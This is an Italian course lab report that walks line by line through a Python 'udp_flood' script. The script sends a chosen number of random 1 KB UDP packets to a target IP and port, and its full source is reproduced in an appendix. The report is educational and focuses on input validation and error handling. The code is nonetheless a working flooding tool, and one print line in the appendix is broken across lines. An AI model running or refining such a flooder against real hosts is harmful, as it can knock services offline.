Pratica S6/L3 - Analisi di uno script Python per l'invio di pacchetti UDP (Versione 2)

1. Introduzione

La presente relazione analizza uno script Python che utilizza socket UDP per l'invio di pacchetti verso un host di destinazione.

Il codice preso in esame rappresenta una versione migliorata di un'implementazione precedente (udp_flood_code_v1), nella quale sono stati introdotti controlli sugli input dell'utente e una gestione strutturata degli errori, con l'obiettivo di aumentare la robustezza e l'affidabilità del programma.

In particolare, i miglioramenti riguardano la validazione dei parametri inseriti dall'utente (indirizzo IP, porta di destinazione e numero di pacchetti) e la gestione delle eccezioni legate a errori di input e di rete, in linea con le buone pratiche di programmazione sicura.

Il codice sorgente analizzato è riportato integralmente in **Appendice A - Codice sorgente analizzato**.

2. Analisi

Import dei moduli

```
1   import socket
2   import random
```

Il modulo ***socket*** è una libreria standard di Python che fornisce un'interfaccia a basso livello per la comunicazione di rete. Consente di creare socket TCP e UDP e di inviare o ricevere dati direttamente tramite lo stack di rete del sistema operativo.

Il modulo ***random*** fornisce funzioni per la generazione di valori pseudo-casuali. In questo script viene utilizzato per creare un payload di dimensione fissa composto da byte casuali, utile a simulare dati generici trasmessi sulla rete.

Definizione della funzione principale

```
5   def udp_flood():
```

Questa istruzione definisce una funzione chiamata ***udp_flood***, all'interno della quale è racchiusa l'intera logica del programma.
L'utilizzo di una funzione permette di strutturare il codice in modo ordinato e di evitare l'esecuzione automatica dello script nel caso in cui il file venga importato come modulo in un altro programma.

Blocco di gestione delle eccezioni

```
6       try:
```

L'intero corpo della funzione è racchiuso all'interno di un blocco ***try***, che consente di intercettare e gestire in modo controllato eventuali errori che possono verificarsi durante l'esecuzione del programma.
Questa scelta rappresenta un miglioramento rispetto a una gestione non strutturata degli errori, poiché evita terminazioni anomale e permette di fornire messaggi di errore chiari all'utente.

Acquisizione e validazione dell'indirizzo IP

```
8           target_ip = input("Inserisci IP target: ").strip()
```

Questa riga richiede all'utente di inserire un indirizzo IP o un hostname di destinazione. Il metodo ***strip()*** viene utilizzato per rimuovere eventuali spazi bianchi iniziali o finali, prevenendo errori dovuti a input formattati in modo scorretto.

```
9           if not target_ip:
10              raise ValueError("IP target non valido")
```

Il codice verifica che l'input non sia vuoto. In caso contrario, viene sollevata manualmente un'eccezione di tipo ***ValueError***. Questo controllo impedisce al programma di proseguire con un indirizzo di destinazione non valido.

Acquisizione e validazione della porta di destinazione

```
13          target_port = int(input("Inserisci porta UDP target (0-65535): "))
```

All'utente viene richiesto di inserire la porta UDP di destinazione, che viene convertita in un valore intero tramite la funzione ***int()***.
Se l'input non è numerico, Python genera automaticamente un'eccezione ***ValueError***.

```
14          if target_port < 0 or target_port > 65535:
15              raise ValueError("La porta deve essere compresa tra 0 e 65535")
```

Viene successivamente verificato che la porta rientri nel range valido delle porte di rete, compreso tra 0 e 65535. In caso contrario, il programma solleva un'eccezione con un messaggio esplicativo. Questo controllo migliora la robustezza del codice e previene l'utilizzo di valori non validi.

Acquisizione e validazione del numero di pacchetti

```
18          num_packets = int(input("Numero di pacchetti da inviare: "))
```

Questa istruzione richiede il numero di pacchetti UDP da inviare e converte l'input in un valore intero.

```
19          if num_packets <= 0:
20              raise ValueError("Il numero di pacchetti deve essere maggiore di zero")
```

Il codice verifica che il numero di pacchetti sia maggiore di zero. Questo controllo evita cicli inutili o comportamenti non previsti durante l'esecuzione del programma.

Creazione del socket UDP

```
23          sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

Qui viene creato un socket di rete utilizzando il protocollo IPv4 (***AF_INET***) e il tipo ***SOCK_DGRAM***, che identifica un socket UDP.
UDP è un protocollo di tipo connectionless, che non prevede handshake, controllo di flusso né garanzia di consegna dei pacchetti.

Creazione del payload

```
26          payload = random.randbytes(1024)
```

Questa riga genera un payload di 1024 byte (1 KB) composto da dati casuali. Il payload è un oggetto di tipo bytes e viene creato una sola volta, per poi essere riutilizzato in ogni invio di pacchetti.

Messaggio di avvio

```
28      print(f"\nInvio di {num_packets} pacchetti UDP verso {target_ip}:{target_port}\n")
```

Viene stampato un messaggio informativo che indica l'inizio dell'invio dei pacchetti, riportando i parametri principali inseriti dall'utente. L'utilizzo delle f-string consente una formattazione chiara e leggibile.

Ciclo di invio dei pacchetti

```
30          for i in range(1, num_packets + 1):
```

Questo ciclo viene eseguito tante volte quanto indicato dall'utente. La variabile ***i*** rappresenta il contatore dei pacchetti inviati.

```
31              sock.sendto(payload, (target_ip, target_port))
```

Il metodo ***sendto()*** invia il payload UDP all'indirizzo IP e alla porta specificati. Poiché UDP non utilizza connessioni persistenti, ogni chiamata genera un singolo datagramma indipendente.

```
34              if i % 10 == 0 or i == num_packets:
35                  print(f"Pacchetti inviati: {i}/{num_packets}")
```

A differenza della versione originale, il messaggio di output non viene stampato per ogni pacchetto, ma solo ogni dieci pacchetti o al termine dell'invio. Questo riduce il carico di I/O sulla console e migliora le prestazioni complessive del programma.

Gestione degli errori

```
39      except ValueError as ve:
40          print(f"Errore di input: {ve}")
```

Questo blocco intercetta errori legati a input non validi o a conversioni fallite. Il messaggio di errore viene mostrato all'utente in modo chiaro.

```
42      except socket.gaierror:
43          print("Errore di rete: impossibile risolvere l'indirizzo IP")
```

Questo blocco gestisce errori di risoluzione dell'indirizzo IP o hostname, tipicamente causati da problemi DNS o da indirizzi non validi.

```
45      except OSError as oe:
46          print(f"Errore di rete: {oe}")
```

Qui vengono intercettati errori di rete generici generati dal sistema operativo, come problemi di instradamento o rete non raggiungibile.

Chiusura del socket

```
48      finally:
49          try:
50              sock.close()
51          except Exception:
52              pass
```

Il blocco ***finally*** viene eseguito in ogni caso, sia in presenza di errori sia in caso di esecuzione corretta.
Il socket viene chiuso per garantire la liberazione delle risorse di sistema. Il blocco ***try***/***except*** interno evita errori nel caso in cui il socket non sia stato creato correttamente.

Entry point del programma

```
55  if __name__ == "__main__":
56      udp_flood()
```

Questo blocco assicura che la funzione ***udp_flood()*** venga eseguita solo quando il file viene avviato direttamente e non quando viene importato come modulo in un altro script.

3. Conclusione

La versione migliorata dello script introduce controlli sugli input e una gestione strutturata degli errori, aumentando la robustezza e l'affidabilità del codice.
Dal punto di vista della cybersecurity, l'analisi di questo script consente di comprendere non solo il funzionamento dei socket UDP, ma anche l'importanza della validazione degli input e della gestione delle eccezioni nello sviluppo di software più sicuro.

Appendice A - Codice sorgente analizzato

```
import socket
import random


def udp_flood():
    try:
        # Input IP target
        target_ip = input("Inserisci IP target: ").strip()
        if not target_ip:
            raise ValueError("IP target non valido")

        # Input porta con validazione
        target_port = int(input("Inserisci porta UDP target (0-65535): "))
        if target_port < 0 or target_port > 65535:
            raise ValueError("La porta deve essere compresa tra 0 e 65535")

        # Input numero pacchetti
        num_packets = int(input("Numero di pacchetti da inviare: "))
        if num_packets <= 0:
            raise ValueError("Il numero di pacchetti deve essere maggiore di zero")

        # Creazione socket UDP
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        # Payload da 1 KB
        payload = random.randbytes(1024)

        print(f"\nInvio di {num_packets} pacchetti UDP verso {target_ip}:
{target_port}\n")

        for i in range(1, num_packets + 1):
            sock.sendto(payload, (target_ip, target_port))

            # Output informativo limitato
            if i % 10 == 0 or i == num_packets:
                print(f"Pacchetti inviati: {i}/{num_packets}")

        print("\nInvio completato correttamente.")

    except ValueError as ve:
        print(f"Errore di input: {ve}")
```

```
    except socket.gaierror:
        print("Errore di rete: impossibile risolvere l'indirizzo IP")

    except OSError as oe:
        print(f"Errore di rete: {oe}")

    finally:
        try:
            sock.close()
        except Exception:
            pass


if __name__ == "__main__":
    udp_flood()
```